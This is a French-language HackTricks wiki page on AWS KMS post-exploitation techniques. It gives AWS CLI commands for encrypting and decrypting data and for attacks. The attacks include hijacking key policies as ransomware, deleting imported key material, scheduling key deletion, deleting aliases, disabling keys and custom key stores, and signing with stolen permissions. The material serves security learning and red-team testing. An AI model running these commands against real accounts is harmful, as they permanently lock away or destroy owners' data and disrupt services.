AWS - KMS Post Exploitation

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

KMS

Pour plus d’informations, consultez :

AWS - KMS Enum

Chiffrer/Déchiffrer des données

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: Lit le fichier en mode binaire, couramment utilisĂ© pour les fichiers non textuels.
  • file://: Lit le fichier en mode texte, typiquement utilisĂ© pour des fichiers texte simples, des scripts, ou du JSON qui n’a pas d’exigences d’encodage particuliĂšres.

Tip

Notez que si vous voulez déchiffrer des données contenues dans un fichier, le fichier doit contenir les données binaires, pas des données encodées en base64. (fileb://)

  • Utilisation d’une symĂ©trique key
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Utilisation d’une clĂ© asymmetric:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Un attaquant disposant d’un accĂšs privilĂ©giĂ© Ă  KMS peut modifier la KMS policy des clĂ©s et accorder Ă  son compte l’accĂšs Ă  celles-ci, supprimant l’accĂšs accordĂ© au compte lĂ©gitime.

Par la suite, les utilisateurs du compte légitime ne pourront plus accéder à aucune information de tout service chiffré avec ces clés, créant un ransomware simple mais efficace contre le compte.

Warning

Notez que AWS managed keys ne sont pas affectées par cette attaque ; seules les Customer managed keys le sont.

Notez Ă©galement la nĂ©cessitĂ© d’utiliser le paramĂštre --bypass-policy-lockout-safety-check (l’absence de cette option dans la console web rend cette attaque possible uniquement depuis la CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Notez que si vous changez cette policy et ne donnez l’accĂšs qu’à un compte externe, et que depuis ce compte externe vous essayez de dĂ©finir une nouvelle policy pour give the access back to original account, you won’t be able cause the Put Polocy action cannot be performed from a cross account.

KMS Ransomware générique

Il existe une autre façon d’exĂ©cuter un KMS Ransomware global, qui impliquerait les Ă©tapes suivantes :

  • CrĂ©er une nouvelle key with a key material importĂ©e par l’attaquant
  • Re-encrypt older data de la victime qui Ă©taient chiffrĂ©es avec la version prĂ©cĂ©dente en utilisant la nouvelle
  • Delete the KMS key
  • DĂ©sormais, seul l’attaquant, qui possĂšde le key material original, pourra dĂ©chiffrer les donnĂ©es chiffrĂ©es

Suppression des clés via kms:DeleteImportedKeyMaterial

Avec l’autorisation kms:DeleteImportedKeyMaterial, un acteur peut supprimer le key material importĂ© des CMKs ayant Origin=EXTERNAL (CMKs qui ont importĂ© leur key material), les rendant incapables de dĂ©chiffrer les donnĂ©es. Cette action est destructive et irrĂ©versible sauf si du matĂ©riel compatible est rĂ©importĂ©, permettant Ă  un attaquant de provoquer efficacement une perte de donnĂ©es de type ransomware en rendant l’information chiffrĂ©e dĂ©finitivement inaccessible.

aws kms delete-imported-key-material --key-id <Key_ID>

Détruire les clés

En dĂ©truisant des clĂ©s, il est possible d’effectuer un DoS.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Notez que AWS empĂȘche dĂ©sormais que les actions prĂ©cĂ©dentes soient effectuĂ©es depuis un compte croisĂ© :

Modifier ou supprimer Alias

Cette attaque supprime ou redirige les alias AWS KMS, rompant la rĂ©solution des clĂ©s et provoquant des Ă©checs immĂ©diats dans tous les services qui dĂ©pendent de ces alias, entraĂźnant un dĂ©ni de service. Avec des permissions telles que kms:DeleteAlias ou kms:UpdateAlias, un attaquant peut supprimer ou repointer des alias et perturber les opĂ©rations cryptographiques (p. ex., encrypt, describe). Tout service qui rĂ©fĂ©rence l’alias au lieu de l’ID de clĂ© peut Ă©chouer jusqu’à ce que l’alias soit restaurĂ© ou correctement rĂ©affectĂ©.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Annuler la suppression de clé

Avec des permissions telles que kms:CancelKeyDeletion et kms:EnableKey, un acteur peut annuler une suppression programmĂ©e d’une AWS KMS customer master key et la rĂ©activer par la suite. Cela permet de rĂ©cupĂ©rer la clĂ© (initialement en Ă©tat Disabled) et de restaurer sa capacitĂ© Ă  decrypt des donnĂ©es prĂ©cĂ©demment protĂ©gĂ©es, permettant l’exfiltration.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Désactiver la clé

Avec la permission kms:DisableKey, un acteur peut dĂ©sactiver une Customer Master Key (CMK) AWS KMS, l’empĂȘchant d’ĂȘtre utilisĂ©e pour le chiffrement ou le dĂ©chiffrement. Cela coupe l’accĂšs pour tous les services qui dĂ©pendent de cette CMK et peut provoquer des perturbations immĂ©diates ou un dĂ©ni de service jusqu’à ce que la clĂ© soit rĂ©activĂ©e.

aws kms disable-key \
--key-id <key_id>

Derive Shared Secret

Avec l’autorisation kms:DeriveSharedSecret, un acteur peut utiliser une clĂ© privĂ©e dĂ©tenue par KMS ainsi qu’une clĂ© publique fournie par l’utilisateur pour calculer un secret partagĂ© ECDH.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Impersonation via kms:Sign

Avec la permission kms:Sign, un acteur peut utiliser une KMS-stored CMK pour signer cryptographiquement des donnĂ©es sans exposer la private key, produisant des signatures valides pouvant permettre l’impersonation ou autoriser des actions malveillantes.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

Avec des autorisations telles que kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, ou kms:UpdateCustomKeyStore, un acteur peut modifier, déconnecter ou supprimer un AWS KMS Custom Key Store (CKS), rendant ses clés maßtresses inopérantes. Cela interrompt les opérations de chiffrement, déchiffrement et de signature pour tout service qui dépend de ces clés et peut provoquer un denial-of-service immédiat. Restreindre et surveiller ces autorisations est donc crucial.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks